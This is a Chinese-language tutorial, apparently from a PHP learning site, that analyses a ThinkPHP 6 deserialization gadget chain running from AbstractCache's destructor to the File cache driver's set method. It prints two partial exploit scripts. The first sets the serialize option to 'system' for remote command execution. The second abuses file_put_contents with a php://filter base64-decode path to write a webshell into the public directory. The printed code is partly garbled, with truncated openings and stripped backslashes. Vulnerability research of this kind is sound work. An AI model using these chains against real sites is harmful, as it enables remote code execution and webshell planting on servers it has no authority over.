下面由thinkphp教程欄目給大家介紹關于thinkphp6的另反序列化分析,希望對需要的朋友有所幫助!
Forward
之前分析過tp6的一個鏈;當時是利用__toString方法去進行的中轉,從而實現前后兩個鏈的鏈接,這次是兩個另外鏈條;利用的是可控類下的固定方法進行中轉;開始分析;
首先環境可以composer一鍵搭建,然后php think run進行跑起來就可;
本文涉及知識點實操練習:ThinkPHP5遠程命令執行漏洞(通過該實驗了解ThinkPHP5遠程命令執行漏洞的原因和利用方法,以及如何修復該漏洞。)
立即學習“PHP免費學習筆記(深入)”;
text
首先的想法就是利用析構函數進行最開始的觸發;然后一路追蹤魔法函數去進行一步一步的推導;首先找到魔法函數在AbstractCache類下;
protected $autosave = true;public function __destruct(){ ? ?if (! $this->autosave) { ? ? ? ?$this->save(); ? ?}}
其代碼如上;可以看到autosave可以可控;這里我們可以手動給其復制為false;從而可以觸發save方法;
回溯save方法;在CacheStore中找到了save方法;具體代碼如下;
public function save(){ ? ?$contents = $this->getForStorage(); ? ?$this->store->set($this->key, $contents, $this->expire);}
可以看到其調用了getForStorage方法,然后將其賦值給$contents變量。這里追隨一下這個方法;
public function getForStorage() ? ?{ ? ? ? ?$cleaned = $this->cleanContents($this->cache); ? ? ? ?return json_encode([$cleaned, $this->complete]);}
發現首先調用了cleanContents方法;然后在調用了json_encode方法,這里首先回溯一下cleanContents方法;
? ?public function cleanContents(Array $contents) ? ?{ ? ? ? ?$cachedProperties = array_flip([ ? ? ? ? ? ?‘path’, ‘dirname’, ‘basename’, ‘extension’, ‘filename’, ? ? ? ? ? ?‘size’, ‘mimetype’, ‘visibility’, ‘timestamp’, ‘type’, ? ? ? ? ? ?‘md5’, ? ? ? ?]); ? ?foreach ($contents as $path => $Object) { ? ? ? ?if (is_array($object)) { ? ? ? ? ? ?$contents[$path] = array_intersect_key($object, $cachedProperties); ? ? ? ?} ? ?} ? ?return $contents;}
首先在這里看到了array_flip方法;這個方法是將數組的鍵名和鍵值進行替換;然后數組賦值給$cachedProperties變量;然后將我們傳入的參數按照$path和$object的格式來進行各個遍歷;然后將鍵名經過is_array方法的判斷如果為true則進行后續的函數處理;否則就直接return $content這個數組;經過這一系列操作完之后,最終是return到了save函數里;然后接著去進行 $this->store->set($this->key, $contents, $this->expire);這里我們發現store也可控;那么就有兩種思路,第一個就是去實例化一個有set方法的類,或者我們實例化一個存在__call方法的類;從而可以因為訪問不存在的方法去調用到call魔術方法;這里我們先找到一個有set方法的類;在File類中找到:
public function set($name, $value, $expire = NULL): bool{ ? ?$this->writeTimes++; ? ?if (is_null($expire)) { ? ? ? ?$expire = $this->options[‘expire’]; ? ?} ? ?$expire ? = $this->getExpireTime($expire); ? ?$filename = $this->getCacheKey($name); ? ?$dir = dirname($filename); ? ?if (!is_dir($dir)) { ? ? ? ?try { ? ? ? ? ? ?mkdir($dir, 0755, true); ? ? ? ?} catch (Exception $e) { ? ? ? ? ? ?// 創建失敗 ? ? ? ?} ? ?} ? ?$data = $this->serialize($value); ? ?if ($this->options[‘data_compress’] && function_exists(‘gzcompress’)) { ? ? ? ?//數據壓縮 ? ? ? ?$data = gzcompress($data, 3); ? ?} ? ?$data ? = “n” . $data; ? ?$result = file_put_contents($filename, $data); ? ?if ($result) { ? ? ? ?clearstatcache(); ? ? ? ?return true; ? ?} ? ?return false;}
這里可利用點在后面的serialize方法;直接追溯一下;
protected function serialize($data): string{ ? ?if (is_numeric($data)) { ? ? ? ?return (string) $data; ? ?} ? ? $serialize = $this->options[‘serialize’][0] ?? “serialize”; ? ? return $serialize($data);}
這里發現options參量可控;這里就存在一個問題,如果我們將其賦值為system,那么后續return的就是我們命令執行函數,里面的data我們是可以傳入的,那么我們就可以實現RCE;
這里放出我自己寫的exp;
key ? ?= $key; ? ? ? ?$this->store ?= $store; ? ? ? ?$this->expire = $expire; ? ?}}}Namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File extends Driver{ ? ?protected $options = [ ? ? ? ?‘expire’ ? ? ? ?=> 0, ? ? ? ?‘cache_subdir’ ?=> false, ? ? ? ?‘prefix’ ? ? ? ?=> false, ? ? ? ?‘path’ ? ? ? ? ?=> ‘s1mple’, ? ? ? ?‘hash_type’ ? ? => ‘md5’, ? ? ? ?‘serialize’ ? ? => [‘system’], ? ?];}}namespace{$b = new thinkcachedriverFile();$a = new thinkFilesystemCacheStore($b,’s1mple’,’1111′);echo urlencode(serialize($a));}
最后達到的效果就是system(xxxx);這里當時我測試沒有回顯,后來將代碼調試了一下,發現是system里面參數的問題,后來我想到linux或者unix下反引號也是可以當做命令執行的,而且是可以首先執行的;所以我將代碼改了下,嵌入反引號,這樣可以更好的進行命令執行,但是這樣的缺點就是可以執行,但是無回顯;但是我們依然可以進行一些惡意操作;
通過這個鏈,相信可以發現一些端倪,除了可以rce以外,這個鏈在最后的利用地方還有一個file_put_contents這個也是可以利用的;
下面利用的一些騷姿勢如果有師傅不太理解,可以看這個鏈接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/
下面也講述一下;利用鏈和之前的是一樣的;就是最后需要掌控一下filename和data的內容;我們可以看到如下圖;
在最后的時候會有一個data的拼接,我本來想著在格式化那里嘗試引入,但是格式化已經寫死了,不能利用非法字符進行污染格式化引入危險代碼;所以只能在最后的data處進行寫入拼接;現在就是要控制data了;其實這里data是調用了serialize方法,追溯一下不難發現是將數組option中的serialize的鍵值拿出來套在了data前面;其實本質上也無大礙;但是這里有個小坑;因為是$serialize($data);所以這里要求這樣的搭配必須是正確的,如果你隨意傳入函數,造成比如adsf($data);這樣類型的不規則函數,就會導致報錯,從而無法進行;
明白了這一點其實還有一個小坑;其實option的內容我們是可控的;那么我們就可以控制serialize的鍵值進行傳入;但是這里因為之前進行了json_encode所以一般的函數最后構成的格式都無法進行base64解密;但是這里有個例外,我測試了serialize函數,發現經過序列化之后,我們可以正常進行base64解密;大概是因為可以構成字符串的原因吧;這里放出我的exp;
key ? ?= $key; ? ? ? ?$this->store ?= $store; ? ? ? ?$this->expire = $expire; ? ?}}}namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File extends Driver{ ? ?protected $options = [ ? ? ? ?‘expire’ ? ? ? ?=> 0, ? ? ? ?‘cache_subdir’ ?=> false, ? ? ? ?‘prefix’ ? ? ? ?=> false, ? ? ? ?‘path’ ? ? ? ? ?=> ‘php://Filter/convert.base64-decode/Resource=s1mple/../’, ? ? ? ?‘hash_type’ ? ? => ‘md5’, ? ? ? ?‘serialize’ ? ? => [‘serialize’], ? ? ? ?‘data_compress’ => false ? ?];}}namespace{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,’s1mple’,’2333′);echo urlencode(serialize($a));}
另外可能有很多師傅困惑在可寫目錄的問題,這里我才用了虛目錄的方法將其定位到了public目錄之下;就在path參數那里可以體現;
最后訪問結果是執行phpinfo;當然也可以寫入system這樣的命令執行函數;造成木馬利用;